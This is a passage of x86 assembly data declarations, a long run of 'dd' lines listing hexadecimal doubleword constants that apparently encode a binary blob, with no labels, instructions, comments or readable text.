dd 0F6F1F867h, 573E0E47h, 38409098h, 202B0269h, 0E7A86100h
dd 632AF328h, 184100ACh, 370C0EEAh, 5EC7D36h, 0BD523C0Bh
dd 5ACB8370h, 641C02Dh, 0B043164Eh, 0EB98019Fh, 0C82724D3h
dd 6D0A81F0h, 0AD621B74h, 88CDBD07h, 185B9C50h, 1AFA85h
dd 0F8B1A8F5h, 61F9BE93h, 0AC22FD00h, 83942792h, 0CF04000Bh
dd 0FE8991A8h, 0F80444B1h, 0CEDF727Dh, 71195AC0h, 434B3E62h
dd 2C371FE0h, 94004D99h, 8DDA3559h, 6B79AF4h, 0FEF3D903h
dd 0F56DB9EEh, 0AF00B82Eh, 96207138h, 0E19A0057h, 652E63ACh
dd 19B08898h, 0ADB57406h, 36F4DAh, 0DD0B9EA9h, 2C72F322h
dd 0B4CA900Eh, 3F6D078Eh, 0BBF01F90h, 739C0BF2h, 0B982753Eh
dd 0A3E0F6BFh, 111C7C45h, 0B326C9FEh, 0E7844D0Ch, 7B8BEA06h
dd 10FF0B56h, 4575D4DBh, 42442F21h, 40E2FEB7h, 4720685Ch
dd 574443B4h, 5EB42EEBh, 680210A8h, 16F75703h, 0C78980F5h
dd 9F10E2B9h, 9C2D575Ch, 1B749725h, 12C0FD69h, 0A30750FBh
dd 8468F4Eh, 0A0506ADh, 4E0B8BFEh, 6A6F61FBh, 947E70DBh
dd 0B8218F00h, 614A516h, 0C57B03h, 59E724E0h, 98BAE53h
dd 38BB0A0Eh, 1A9000D4h, 3BC56FDh, 725D5955h, 0DAA0139Fh
dd 3D005795h, 29238F08h, 684F0A1h, 404C3066h, 3400A824h
dd 510B8D39h, 3B9D5D6Eh, 610016EAh, 800C2B9Bh, 81000A63h
dd 586AC65Ch, 707AB44h, 5A1E6E2Fh, 46B13078h, 971C8829h
dd 0CC804256h, 59A71860h, 1E9F002Ah, 79CF0625h, 1B583DA9h
dd 74039D7h, 7553076Bh, 2636F9B0h, 19AC005Eh, 69BC2CC7h
dd 5402230Dh, 45B4F462h, 764B5512h, 6342E280h, 0B9931602h
dd 5CCEBF0Fh, 71D90855h, 2B0CE90Ch, 8DCC3932h, 6AFD5602h
dd 60DFFCE4h, 6B4DBF3Ch, 0C45E221Ch, 68D4FA01h, 0DFDC6634h
dd 61C50FF5h, 0F0C0038Bh, 1DE5756Fh, 0BC6C40A8h, 0A7E10E00h
dd 0D38B668Dh, 0E8811F59h, 7C5E414Ah, 8391E280h, 0BE9C4B3Ch
dd 5BC1C868h, 0F252C189h, 3ECA4E53h, 0AFC1331Dh, 0BE827B1h
dd 47F05F81h, 0F0417EB9h, 0D30039A5h, 0D6816CE2h, 336437ABh
dd 0EEEE5E21h, 0E5803B1Ch, 850F4F85h, 0B1CB7EF1h, 518C128Fh
dd 0AA0B09E8h, 35E52D00h, 0AFE915F9h, 0D0BEC130h, 0EC08835Eh
dd 1D0FFAF8h, 273B4C79h, 8A81F6EFh, 9FF3F47Dh, 7512E3F3h
dd 3047B08h, 8AAACF78h, 213AC17Ch, 53330C62h, 57811C4h
dd 77F56ED0h, 8D1C01E2h, 9CD6E3B3h, 0C427A11h, 7477FEh
dd 0B70817FAh, 918E8330h, 18C43BFDh, 10F1F0E1h, 0B808D67Dh
dd 4CFF9438h, 27821849h, 941EFB1Ch, 0B6758750h, 20E45322h
dd 0E6CB777Fh, 4D01EA7Eh, 3D6F573h, 0E08066A9h, 68E36445h
dd 1B02F6EEh, 0BB7433BEh, 3F8C8180h, 8181FD95h, 0D1A78790h
dd 5136D8A9h, 0F4F8FC7Ah, 0F6D4BD0Eh, 0F442345h, 7F48016Eh
dd 0CCCDB1F3h, 6329F473h, 0DF63F0F0h, 0F235310h, 1301A599h
dd 2F1B8143h, 1409ACF8h, 3BCCA0Fh, 0ED9E001Eh, 74B5F810h
dd 9DD90F02h, 0B0004B23h, 84D52FEAh, 0D325371Dh, 0D03EFA00h
dd 3161D97h, 7D06A7B5h, 498063ADh, 170095D3h, 897C92Bh
dd 0A85CE10h, 0F8CA2A03h, 8ABB5338h, 4AC723C3h, 0B3635418h
dd 0C3DB2108h, 0B7B0001Dh, 0B9CC1412h, 0A8007D05h, 0B31E018Ah
dd 34DFABEh, 4A1D99CEh, 30C0A4AFh, 0E60A63C0h, 68F8AA34h
dd 0AC402107h, 552D0683h, 41F2439h, 40639412h, 0DE747364h
dd 0C8A8EDD5h, 0C67B2111h, 808A848h, 0CE5920Eh, 7830FBD0h
dd 643047F4h, 0E3171890h, 68272809h, 7CFB4808h, 387C0801h
dd 60F38059h, 2CA2E0D8h, 530B2482h, 0A6C60C08h, 600C8E88h
dd 0F4BD31EBh, 426CDD7Ch, 4554A058h, 4C9A4390h, 0A1240F6h
dd 7C43FB15h, 0AD2647Ah, 77710459h, 170A8578h, 0E25808FCh
dd 3B2AE477h, 0F91D0FF2h, 0FEB00E5Fh, 0CD030884h, 0E1F8F38Fh
dd 0CC90DCF1h, 4C6B6C71h, 177A889h, 0FD43B5B9h, 444C7EBEh
dd 0C240D20Ch, 0AF4FA22Eh, 0FED860EEh, 63A9023Eh, 2F7A3979h
dd 0F57D0C80h, 0FC92E574h, 481B651Fh, 7900B026h, 0FEF4063Ah
dd 0A0FBFE35h, 26F9F80Ch, 8A147176h, 35864F6h, 7345BD75h
dd 22643ADDh, 993E26A5h, 8C1515F0h, 84C2BC40h, 86BB881h
dd 8864EF02h, 0D16C2AA5h, 0F66214F0h, 0A8CAF808h, 247826E0h
dd 921E105Ch, 8F544808h, 0D82C6CBAh, 7F142FC1h, 888CEB15h
dd 52E4A3FEh, 43D98060h, 997C774Ch, 8809A198h, 8B566F90h
dd 0A7FB60h, 51010691h, 7FF4D614h, 0E0A8CC88h, 0F1C4B217h
dd 104D5996h, 40989498h, 0E0A8D6A8h, 6A24FB4Ch, 0FD440CEEh
dd 0C5A38050h, 2A0C9946h, 9B168C88h, 42A1DBDh, 337FFC85h
dd 0E0584D88h, 0FEF4401Ch, 8CBA2984h, 47090294h, 0C88A124Fh
dd 0C1A13928h, 8042F591h, 18990D8Dh, 8CA8C80Ch, 1A4C35DBh
dd 0E511FE0Ch, 247DF342h, 67A8D956h, 80213888h, 8C996046h
dd 8C2F540Ch, 9C39481Ch, 20E611FFh, 0B23121BFh, 0A04FFAB1h
dd 0F1B1FC90h, 0EA142038h, 0D84D3D89h, 831A7462h, 50BE6148h
dd 0E1DD5823h, 0CDFE3876h, 0B2519475h, 0E181DBA8h, 798AE4E3h
dd 4AD8F0B9h, 5849BE30h, 0A44CEAB7h, 0D208D52Ch, 5262D792h
dd 0B8C037DDh, 0C0E438F0h, 0F960AE10h, 20E35C26h, 0DE7C2878h
dd 80650389h, 2401DC42h, 98B232h, 0F95F150Ch, 2A7A0DC0h
dd 0C4B88B44h, 10FCD070h, 8CA6229Ch, 8FA7083Ch, 28F250BAh
dd 42EE3CE8h, 3C0512E9h, 3C38D8AAh, 0FC79C686h, 31D0198Fh
dd 590EE451h, 0DAD0A01h, 0FAB7B934h, 0F8DEA4E0h, 0A1B31F4Eh
dd 0F8BC0A08h, 41200F14h, 0C237B585h, 0A46E3924h, 0E8E38728h
dd 77DB8022h, 0A5A907E6h, 0E981BC65h, 972BD8Fh, 0DA063A0h
dd 5FC06408h, 8D130C92h, 6804A046h, 0CC401B37h, 804E0AE1h
dd 111E20A7h, 234B0063h, 0CDDC8613h, 0F7459090h, 597B3898h
dd 45639F6h, 20B92CA0h, 78504F0Eh, 134D831h, 643A7BEh
dd 387BFC51h, 21E13098h, 0BE0CBAh, 0CF45E629h, 516E84D1h
dd 0A92D3Eh, 0ABF9AE4Dh
dd 798CE4h, 0B0A782EAh, 0C0506CE1h, 367C41C0h, 745A5D55h
dd 0FB5F00BCh, 0B2A7CF65h, 0D07FC32h, 9C0E62D5h, 0CA927A30h
dd 727F26F9h, 1CA0A670h, 458FD210h, 1E2AFF0h, 0C5851388h
dd 814C309Eh, 0D820D56Ch, 32048C4Dh, 3643A1BEh, 0B820EF62h
dd 1C8ABE0Ah, 0AAF3D5h, 0ED2C4294h, 0CD0091BDh, 0AC1976BAh
dd 126398CFh, 41F2641Bh, 4F0A68C0h, 603D53h, 0D2229C84h
dd 44AFF30h, 94ABFE51h, 9AF090EFh, 0B80E15E1h, 0D7AE44h
dd 0A4F99E5Bh, 75B90022h, 34FEBED2h, 9603A845h, 5069B565h
dd 9C21B912h, 24733030h, 83842F44h, 612AE2E1h, 3C4C3798h
dd 1031F7F0h, 0FC5068F9h, 0D4639180h, 96EB5146h, 0C3739103h
dd 99D5F926h, 758C83h, 1B9AC0h, 1F5CB93Ah, 4D1D67Bh, 0F9DDBA01h
dd 0A7FF651Ah, 0B51F6ECh, 6FE546C0h, 9507D401h, 18D980FEh
dd 7358BDACh, 3371FC9Dh, 0E708B57Bh, 0A7BF2100h, 0CECDEABDh
dd 364B0090h, 76A1FBCBh, 24F12740h, 0F9611750h, 0FF50ADF8h
dd 0A59FC180h, 5B1CEFBEh, 0EADBA800h, 0A38D8953h, 0F20B0B0h
dd 0FECF2F7Dh, 0FC04419Ah, 0BE306043h, 8CE6F4DBh, 0B6F044h
dd 6999BE08h, 42193445h, 1FCF7F18h, 47B1390h, 51F7F303h
dd 358F3F5h, 0A864A938h, 0D2E91F76h, 5DF1E52h, 20950AF9h
dd 0E40CD5F8h, 0A030BF00h, 986760DBh, 0FF680024h, 4239CE59h
dd 0F554E19Eh, 0A5077DC4h, 1C3063B3h, 0F2E032A6h, 797E6182h
dd 0C535A15Dh, 0F6D4ECF4h, 600CFC5Ah, 7F3E4182h, 14361DA9h
dd 1B7F02AAh, 0F4605ECAh, 0A0067DD2h, 0E1E3A90Eh, 8F7600C9h
dd 0C3978515h, 0DF3BD796h, 2650754h, 0E24AF44Bh, 44A24700h
dd 2E29456Bh, 402C08E1h, 86676471h, 3A06B098h, 0FDDC7C8Ah
dd 4927FC58h, 4503CC9Fh, 8DBF6411h, 0FA4A2800h, 221EAE4Bh
dd 829818A8h, 1A5CD970h, 0F25AE704h, 18C0AAA9h, 4831B0A6h
dd 0A2C00442h, 5C082AABh, 8311673Bh, 3CEC1BEAh, 0A05B9084h
dd 974A189Bh, 8B9A1FCh, 0A74855FAh, 0D7B41628h, 0E0AD88C1h
dd 0DA01A9BCh, 63AE395Ah, 7BB84238h, 21BABCAEh, 8E5ECF0Eh
dd 4C4060A1h, 0E1904001h, 0BB21E360h, 0DA2A75h, 2F6AD697h
dd 0D8875EDBh, 240DF4Ch, 6F9502A9h, 71E14041h, 707B1D3Fh
dd 221F421Ch, 21E143BBh, 0B5C26FCh, 2FC484F6h, 9FFD0F24h
dd 60A892h, 233235A0h, 8511BDF4h, 35A83D00h, 11D63A5Ah
dd 71138707h, 463B8227h, 0D4BA4CB4h, 0C020E027h, 14CE0B9Ah
dd 0B094D900h, 0B55AF947h, 441B0398h, 0A765CBF5h, 820AD58Fh
dd 0A62EFB2Ch, 0E881F690h, 0CBE330F9h, 88F3EF51h, 5B960D07h
dd 0D8238FA6h, 36F0C03Eh, 0DDBC282Fh, 0C0947560h, 72FB9299h
dd 0B700F70Fh, 0A3345C80h, 0B0C8CBD8h, 0E1F16B20h, 0C46CB005h
dd 0E188A1A2h, 44E858ABh, 63B03908h, 40F2C448h, 0BC394C3Bh
dd 0A0283DA6h, 564F5302h, 9482A9A5h, 0D4824D09h, 90800A08h
dd 41F60CA8h, 8A1AE098h, 63F9F96Bh, 4208C054h, 0A0470F89h
dd 0EAAF1865h, 511406D6h, 3F0029E9h, 0AEA664B4h, 89A56Ah
dd 6F87DC3Eh, 145FDB1Dh, 47934201h, 0F577F9B8h, 8C086C3Dh
dd 0F834F468h, 2CA96580h, 0F5701602h, 0D9F004D6h, 520C8022h
dd 243F2A8Dh, 0E5D82B1h, 7A95F5CDh, 0E0E678h, 52CE586Fh
dd 3923A5B6h, 74752C17h, 0C0E00C26h, 4432B3C8h, 0D61BC57Bh
dd 24480FDDh, 0CE3CA760h, 0F4C435EFh, 208062D5h, 4035AF30h
dd 6C90A3E0h, 7402AB4Ah, 84F5D647h, 0C467AED4h, 4074C239h
dd 10C8D4B1h, 0E0394F3Ch, 45FB0C2Bh, 0A690FA63h, 35DA048Ch
dd 62CDF430h, 0A2332083h, 0C020835h, 0FB65A8A1h, 0A378E944h
dd 99E2AC23h, 0B89C1A30h, 89E800A8h, 57614C25h, 0CE502887h
dd 0FB7052D8h, 0B8630224h, 0C9EB9558h, 0B8019211h, 8779541Eh
dd 40A875F8h, 619D3C92h, 0C714FDB0h, 0DBCDD328h, 715B0B98h
dd 490734B1h, 0F9852ECBh, 5541488h, 737F7B8h, 0CCC8245h
dd 11BDB330h, 88A57347h, 0AABE8DE6h, 0C561D420h, 49EBAF00h
dd 3C6E7153h, 6408003Dh, 0F380407Ah, 0D1D2F9E3h, 98655800h
dd 0EAD7EC26h, 4A0900Ah, 6CF74D3Fh, 9B4B0B8h, 72488A71h
dd 2FA38238h, 9605003h, 1837711Dh, 9598B005h, 43588820h
dd 0E8AB4F16h, 0E0402043h, 1768E7Fh, 53D3C465h, 60B11C3Eh
dd 0E66C3FFCh, 8C0AF829h, 0C0AB15Bh, 0ED447CB5h, 0BDA8B840h
dd 0A241DE4h, 0C018BC02h, 327736B9h, 3E58ECBFh, 0E111A89Dh
dd 3A28380h, 0DA053806h, 738A95CBh, 1F278430h, 99008h
dd 0EFE720FCh, 0F6E0BD72h, 3659B0A8h, 0A38C204h, 58A9A343h
dd 21E0E318h, 1EF8EAB1h, 6589E00h, 2720C086h, 0CC5D58F3h
dd 7782F909h, 67EB4020h, 481EDA34h, 2A07BA38h, 5AF547B3h
dd 39838C20h, 0DF9F02EDh, 0CCF0ABB0h, 45167454h, 0DC41FB13h
dd 0C88C0363h, 74771881h, 34EE6622h, 48CA2C0h, 63AF395Bh
dd 1383820h, 51EA3943h, 308A0373h, 4C257698h, 4DE041DBh
dd 0A8EA50D8h, 0F58694h, 4FC8119Bh, 1FE89D33h, 0A057EE00h
dd 20196FBEh, 0A65C16B6h, 0EC6F65h, 505E1D14h, 3036A877h
dd 16901017h, 5D414F4Ch, 65F1A060h, 2050F885h, 9779EBE0h
dd 10402F0h, 0F0908F7Eh, 52B21C81h, 7DFA5424h, 9718A38Ah
dd 0F8423FB5h, 59635EBAh, 18E7714Ch, 656C0638h, 90A2EC0Bh
dd 633344E2h, 9393A859h, 4C582338h, 0A0BE3301h, 7C283E43h
dd 0BE0BBBB0h, 8AF9CD05h, 94C7AA76h, 9541EA70h, 0F6745CF4h
dd 0BA7DD862h, 0DE289040h, 0CF50BCB4h, 370AB8C3h, 0A098DBB0h
dd 0A94DF384h, 0EAE538C4h, 5385E8A8h, 0C9AC217Eh, 1C6C3C5Fh
dd 79C3352Ah, 25C234Ch, 0ED21FA20h, 209E0DA8h, 2822E823h
dd 70B46D4h, 7344BDB0h, 3E7C9C39h, 1FAABBBh, 2D46DB40h
dd 306727A0h, 0FD50C035h, 0F760957Ch, 91D41331h, 0EA4F21Ah
dd 0C25FFC69h, 8464F6E1h, 1B0700FAh, 7BD2005Bh, 786C2789h
dd 0D16436B8h, 9CA49540h, 505B005Eh, 18F1D049h, 3D0024E5h
dd 0DA2E5631h, 80F82777h, 0E602F5F6h, 0B8675409h, 7B08E8DDh
dd 7A960097h, 7DD2304Eh, 5004FCB1h, 0C092A79Eh, 9479CC1h
dd 0F0482C34h, 1AF14C5Eh, 0F2C32F0Ch, 8282F458h, 0FEBDCE8h
dd 0B4F37805h, 0F940814Ch, 9F491F92h, 0DF9383EAh, 46E058A9h
dd 0C003A5EFh, 0DE6A74BBh, 57FEB822h, 154B8F5h, 4194785Ah
dd 30910E6Fh, 0BAE873E8h, 77427A06h, 980A53h, 0B2FF4A38h
dd 0C59C05D1h, 96737201h, 0CC7B7ED5h, 0ABE7FAF1h, 0A280C4AFh
dd 0DCA6D3h, 62BAD0A0h, 6E8FD59Dh, 9B146052h, 9C809D42h
dd 3EB9C3A0h, 0BA3978C5h, 61308BB1h, 70697096h, 7400AEEAh
dd 7967F9A0h, 0C1DE8FC6h, 8EC18A90h, 891880A2h, 0B8DF60FBh
dd 0DE8C03C6h, 0D59CC470h, 85E8287Eh, 0C3626C1Dh, 0C57A7200h
dd 0CA0D38Eh, 8D7DBAA6h, 7B306E30h, 7CC559C3h, 2A0CA662h
dd 84F9DCh, 7374AA9Dh, 0C48FC295h, 6E887550h, 0BBA79714h
dd 7C037414h, 0DB2C401Ch, 65A5C0B0h, 4F49C08Bh, 0A4DF9A57h
dd 31C0D371h, 0E7486B1Eh, 0CFEB0CC2h, 2719DB39h, 61AD6300h
dd 0B5F5758Fh, 89741CD8h, 8ECA4798h, 583AA1A9h, 0D3892EDh
dd 58C5400Dh, 7E5629F0h, 9070120h, 35C0B2CAh, 92A180BFh
dd 1AE8DD2Ch, 5604265Fh, 96790CB6h, 0D94051A9h, 0E8B4EACFh
dd 0A1551087h, 0F17B1AFCh, 891822E1h, 0CA3201DEh, 0D36890BCh
dd 31E97B86h, 0FE41A801h, 505610F5h, 0DE54598Eh, 0B3301091h
dd 2A88161Eh
dd 0E9D94040h, 5CF538C1h, 0B898B2C6h, 491659E8h, 62A81C6h
dd 18381879h, 4C7B3011h, 44259C1h, 0C8412DC0h, 6C25BE39h
dd 34F52F4h, 33EBCB4Dh, 0A5F3194Ch, 0EC0C014h, 5E120028h
dd 0DEEE67FCh, 3C79C0FEh, 38B3440Ch, 135830DDh, 0ED1DFCB9h
dd 365EFC50h, 0E51E1529h, 0D830A4DEh, 0E06B1DF1h, 89DCB050h
dd 5F73F1C1h, 318A382Eh, 95A46211h, 51144CB3h, 84405850h
dd 28FA4458h, 0CE903402h, 20D0B0EFh, 0CF38261Eh, 2A304261h
dd 188AD266h, 284C37DEh, 23134654h, 4311608Ah, 0A4A4A104h
dd 59FC5221h, 46B40CE4h, 0D0B86169h, 210AEC05h, 0D3DA08F7h
dd 118B4356h, 2782F72Ah, 288FC138h, 0C221AE30h, 7EDC0A08h
dd 44B5BE21h, 0DF2221F0h, 50E2CF0Fh, 7A11D6A2h, 0FE12841Ah
dd 46840C28h, 0F61EA152h, 153B210Ah, 66A8A0AAh, 1488D742h
dd 283EC245h, 84F32A11h, 5CC9FC7Bh, 0E116C22h, 828C4818h
dd 60064654h, 489E1134h, 86816031h, 0B5501716h, 84044011h
dd 0E640DF35h, 0C9BE741Bh, 0C58CE68h, 7CC3A844h, 0A70CC4B1h
dd 3609D991h, 0AC095486h, 0FD55116Ch, 428C21A4h, 0D066F458h
dd 6AA5B114h, 38504474h, 2B0CBC99h, 0CF431FFh, 0C0580561h
dd 4314D411h, 8AA02F9Bh, 0F0CA9816h, 0B873496Ch, 121DE8Ch
dd 0EC11C06h, 7FC2307h, 0DEEFA144h, 61748788h, 0F881AD3Bh
dd 0BB00A9BCh, 0B1DE60C6h, 3BC18C6Dh, 0A79D7E85h, 0A89F008Fh
dd 0DA78058Eh, 0C2D87500h, 8B7B70CDh, 6EF892h, 68B1D58Ch
dd 0B385A996h, 0B8AA7503h, 0A0D0DE61h, 0C3928AC0h, 68BAA811h
dd 0C574D4E0h, 0B1AF6300h, 75D58D6Fh, 0F19F3CB2h, 0A7607300h
dd 0C48AFB85h, 8C786CF0h, 9F3D727Bh, 0D1F4D8ADh, 90ACAF04h
dd 74C48100h, 0FBC3607Dh, 0AE86296Eh, 25416218h, 5E1338C8h
dd 24A43C26h, 53AAA800h, 0C520A88h, 0BE0C2FF5h, 34174218h
dd 841FA9D9h, 8E9693BDh, 6C0D7C47h, 0F4C0C174h, 58791181h
dd 90101CA0h, 890B384Ch, 46E739A2h, 58D4078Ch, 0F1A1E581h
dd 9201D1F6h, 0D8881962h, 0F0B902F3h, 0F44D0863h, 0C42C853h
dd 0FA408044h, 0C351AAF9h, 97D2A7D9h, 91DC0818h, 0C5FF39F9h
dd 201175C0h, 0A3AA987Ch, 0A36A463Bh, 1C43600Ah, 10C1C87Ch
dd 1886265Ch, 6882E431h, 9E29C4A2h, 0E3AE02h, 5F05496Bh
dd 4281EA60h, 612B7004h, 2F5E40DBh, 791000EFh, 0F726195Fh
dd 294178C3h, 0F3570A60h, 3DE08C1Eh, 8F11C0B5h, 3D80E218h
dd 0AC212830h, 8C395488h, 7D9400D1h, 0F75B1A49h, 0B0B1DE41h
dd 42171100h, 6109BBAh, 0FF4C97CCh, 8E5089B3h, 8C9F548h
dd 0F228391Ah, 2BC6422h, 0EA8809C1h, 45F0C12Ah, 768F6DAh
dd 4DBDD248h, 1DF9EAB3h, 0C489408Eh, 0A98C7DBAh, 9CB27C16h
dd 0C2727862h, 98985864h, 1FD9F854h, 0D381DACEh, 688C80ADh
dd 0F714A7DFh, 8044D06Eh, 24D7E2FDh, 60821550h, 54830476h
dd 51E273A2h, 8000C9Ah, 9671B8E3h, 74895384h, 894C614h
dd 0D888B48Fh, 0D088076Bh, 0A03ABEC5h, 7220DF20h, 102253D3h
dd 9A08D829h, 4C07F14Eh, 0D1308A76h, 9A599466h, 31F4B314h
dd 64092019h, 191049D3h, 4E1F108h, 0CD727004h, 9CB7A209h
dd 0BD72E5C1h, 56F50C48h, 50408CB1h, 659E1AC6h, 68E928AAh
dd 0C409BCD2h, 12DF89D8h, 48DD24DEh, 22DB91A4h, 0A0D944DAh
dd 0A612A789h, 0CC48A524h, 0C222C391h, 0F8C8C144h, 8CA9008Ah
dd 8EA5C7ACh, 0C1C6CEA6h, 52B8DE89h, 0DDCA84B3h, 0B0655D04h
dd 0BCBA084Ah, 0E06F990Fh, 0D08822DCh, 8FFE3E8Ch, 89FC4300h
dd 0B2C8BC56h, 6007D371h, 92D28B6Fh, 6A4150C7h, 42F59888h
dd 7ADCD9D3h, 634FD0F0h, 0FF6340DEh, 0E8BC69C0h, 0D3A6B207h
dd 4D59D9FEh, 4E87F48h, 0D559F57Fh, 0FA88302Bh, 810882A1h
dd 0BE94A3FEh, 38897914h, 74C002ABh, 23E2AE60h, 0ACC18399h
dd 0C509BB84h, 42F1804h, 3380BBEAh, 717CC839h, 0E9611B01h
dd 0FF5FB457h, 72012185h, 0C0382AD0h, 823D1CCEh, 7D100F11h
dd 7A86DDD7h, 1500188Eh, 0C2715EBBh, 28CF8489h, 1CB442h
dd 21E67686h, 92A81DD2h, 2F28D552h, 8EE4538Dh, 0F44C98AAh
dd 1B602A41h, 1C697431h, 2F75A7h, 951177DBh, 0C6AC737Fh
dd 579820C0h, 3EF9414h, 561CCDEh, 0C100E95Fh, 3A3C2476h
dd 1C86B0ECh, 7A87F7D8h, 507EE160h, 5303BCB9h, 0A54C1917h
dd 8CFA8EFh, 517B2Dh, 0E96B9C1Fh, 4BD0AFBEh, 0FBBD501Ch
dd 620347C0h, 1974D27Fh, 6004C03Ch, 725A0098h, 320A035Bh
dd 8A16DB38h, 0C484D107h, 20E0D8FCh, 306691Ch, 707C4A77h
dd 56BB42F8h, 0D055B82Fh, 87AC0C20h, 59A9DE86h, 0EB397079h
dd 8EF83DC2h, 60267BD6h, 96F3543Dh, 0B6210F2Eh, 0B100489Dh
dd 0FD3A7C73h, 460F8A00h, 2D1F7D66h, 185000CCh, 0BBD66C19h
dd 7600F82Eh, 8A963408h, 7E4250Bh, 2D48188Ch, 0F728C07Fh
dd 35742B9Bh, 3107617Eh, 227E96F8h, 29C39F4Fh, 0F135EA9h
dd 270A6E40h, 32845280h, 7E5598E3h, 135DF040h, 3CF0C6E0h
dd 0F82883Eh, 0AA93401h, 0D740302Ah, 29FA2CBBh, 971C185Ch
dd 0E218AE85h, 73AF2D38h, 5DA90A0Fh, 65602F0Eh, 7E8C0A8Bh
dd 0FB0EDE04h, 8128185Dh, 0BB6E4A5Ch, 2DFD14D1h, 0F89B1858h
dd 99CC0034h, 0DB93330Bh, 0D4152748h, 802C795Ch, 1C8AF71Ah
dd 9CF6002Dh, 83CA8854h, 0FA533C4Fh, 0B52D2438h, 70E16D07h
dd 76C71A01h, 145D3FC1h, 7E401Ch, 12D9E13Fh, 0E4989122h
dd 83142B74h, 74F8190Eh, 0A1D52605h, 5010884Ah, 97B8AA04h
dd 442A8E07h, 3B417298h, 74F0BB9Ah, 0A831DF6h, 199B0430h
dd 1234C02Ch, 9AF737h, 1D605CE8h, 2759D728h, 19892E1h
dd 651798D2h, 0C4198269h, 409861E4h, 275850C0h, 780BB52Dh
dd 0A820993Fh, 8BE13E6Ch, 0ECD34870h, 9824263Ch, 0B7666174h
dd 9028F3D9h, 48560D7h, 574BC27Fh, 1A083040h, 29B7A905h
dd 9092F918h, 49404C8Dh, 6B02586Dh, 24E45DF9h, 684B54C0h
dd 0D0539D26h, 418AF607h, 0D769081h, 85C4089h, 0AB7C080h
dd 9B07CC03h, 9AFA315Eh, 590E174Eh, 3D714E18h, 99E42C01h
dd 706021E5h, 0FC274C1Ch, 8D12263Ah, 90A40387h, 81CF155Eh
dd 0F037E69Bh, 1833E451h, 0B32458F6h, 0A96BB852h, 8D40C35Fh
dd 43E70E6Eh, 903C0A76h, 64B87050h, 0FA1D597Ch, 633C14B7h
dd 0E05CE4A1h, 7498F718h, 52CC16E7h, 3E18344Bh, 0F852AA04h
dd 0F81B0F83h, 0CCA55EC3h, 1005D9D4h, 1AB7F933h, 0F0BB608Ch
dd 0FE290321h, 0A8275D8Ah, 27B89D9Ch, 6FD30118h, 597160E5h
dd 64FB1C30h, 81FA0898h, 0C58D2DE8h, 300BF314h, 0FE5270Fh
dd 5DFD007Ch, 12F7020Eh, 896D0376h, 0EF041A40h, 0F8474BC1h
dd 0AAC4648Ch, 0B4B002E8h, 13E467EFh, 0C673759h, 9AB003CBh
dd 9B181B0Eh, 18C91019h, 0BE1E336h, 48C46234h, 295D1A1Ch
dd 62DC6209h, 65E494C4h, 900B5026h, 0E58C6FC0h, 68489B02h
dd 600998F4h, 0DF188A10h, 20F1E68h, 260E53C6h, 0FA2920E4h
dd 0F692C5Ch, 0A80983Ch, 5DCC1E27h, 58D41815h, 8C058D19h
dd 9AFD2C0Eh, 0D9F704C0h, 9AFEF56Ch, 17504018h, 5F389B4Ah
dd 5F043DF2h, 0BB3F1201h, 0DAC62E83h, 1061F084h, 0E12D3711h
dd 184EF674h, 0C820538Bh, 18619827h, 1FA92D2Dh, 352B4050h
dd 8165F96h, 0D805F927h, 64D79D2Dh, 2185320h, 0D940AAF8h
dd 0E50A2F8h, 84383DB7h, 0F72E3982h, 5FD220E8h, 8430E46Fh
dd 44F03319h, 275EE836h
dd 3C922D0Eh, 3ABBD479h, 54090083h, 18E461FBh, 1991EFAh
dd 309B0B34h, 1C5E8C83h, 90E091A2h, 7E1F9D49h, 0B020555Ch
dd 0E1601850h, 0D5352103h, 28149B0Eh, 15E584C6h, 96F850F4h
dd 0BB2DC1C8h, 7C68850Eh, 0E0C14D85h, 0E875021Dh, 0AFA2340Bh
dd 9B7BEC58h, 68C850BEh, 2AF8F5Dh, 90EEF62Bh, 0A81F7F3Fh
dd 6B00F0F9h, 6885A66Ch, 1D175D98h, 0CB7F71Ah, 0F821E403h
dd 19156F03h, 85098CCCh, 245EC803h, 34902DE5h, 2FD7E090h
dd 99F81817h, 104BF8D9h, 1DE097F3h, 7C3AA919h, 5E097C1Bh
dd 508D341Ah, 7CAAE860h, 0DCFA5014h, 5EE52D33h, 158AA001h
dd 47B06B27h, 98E41326h, 18B88208h, 790AE053h, 8C20C448h
dd 4EA508F1h, 0E0F8605Eh, 8B18FB03h, 1BD8385Dh, 5CF62834h
dd 79B7E8DCh, 1E5C90BBh, 1911A14h, 8CFA2C84h, 0E1043102h
dd 0A840E22Eh, 510A3415h, 0B03661B4h, 0FF00A15h, 0A5FB015Eh
dd 0DCF34B0Eh, 19377877h, 0E93A5952h, 6B0A0124h, 0DC325855h
dd 306059FAh, 51301730h, 0D420B65Ah, 4887FD29h, 0F0514402h
dd 6429F409h, 9F0D293h, 30702042h, 300FCC7Ch, 8C9BF701h
dd 2821E828h, 0C9F0C629h, 1845D7E0h, 0FA4650FFh, 32155109h
dd 3FDC80CCh, 0B5EF2h, 5372D34h, 6822F0E1h, 39447900h
dd 0BDA527F8h, 49E00EC0h, 0E880B937h, 448E4BA2h, 88B06F0Ch
dd 8A20BBh, 0DD7BBEA9h, 9574B680h, 759A2600h, 0B934963Bh
dd 0EA6C30F3h, 486AC588h, 0B0588F00h, 1D40FFE1h, 2B953B75h
dd 0A6531300h, 57698422h, 277EB007h, 0F0E5A7B2h, 46552038h
dd 395A0619h, 0CF08AC3h, 9C540D45h, 0D70AE090h, 88428037h
dd 3A888680h, 763C42Bh, 0ABAD9425h, 908E455Ah, 3A80830Ch
dd 0A40EB777h, 64DAA017h, 0B94F8D61h, 7DC2B20h, 9D00C2B1h
dd 0C8E4B884h, 0A8305A25h, 4014E540h, 0DE30CBCAh, 50119C6h
dd 0F17C0AAEh, 90AD97h, 0C438137Ah, 82E70407h, 7C22A730h
dd 2484A55Ah, 8C20B844h, 2EBCD240h, 1729DE47h, 0C00F0D1h
dd 87C21420h, 0AAEB0544h, 326CF53Eh, 1506E61Ch, 3D260EE9h
dd 0FB203FD0h, 877285C0h, 2D363503h, 9766A6h, 2CF56B59h
dd 0CB99E131h, 90BFA33h, 4B210787h, 80592C9Dh, 90F022C5h
dd 9E0D0A0h, 1B372F3Ah, 0C080898Fh, 0D325EDh, 0E3B504BBh
dd 7422DACAh, 2030856Ah, 0BDDB2808h, 911C51Ch, 38005F7Eh
dd 96860AD6h, 0CAED7C14h, 0E5BCC860h, 781C3217h, 9461D405h
dd 9418CC95h, 0B4C3E918h, 129208A9h, 34478FBh, 73530B7Ch
dd 34E3780Ch, 44D66072h, 6024094Fh, 56E05CA7h, 270F2BA6h
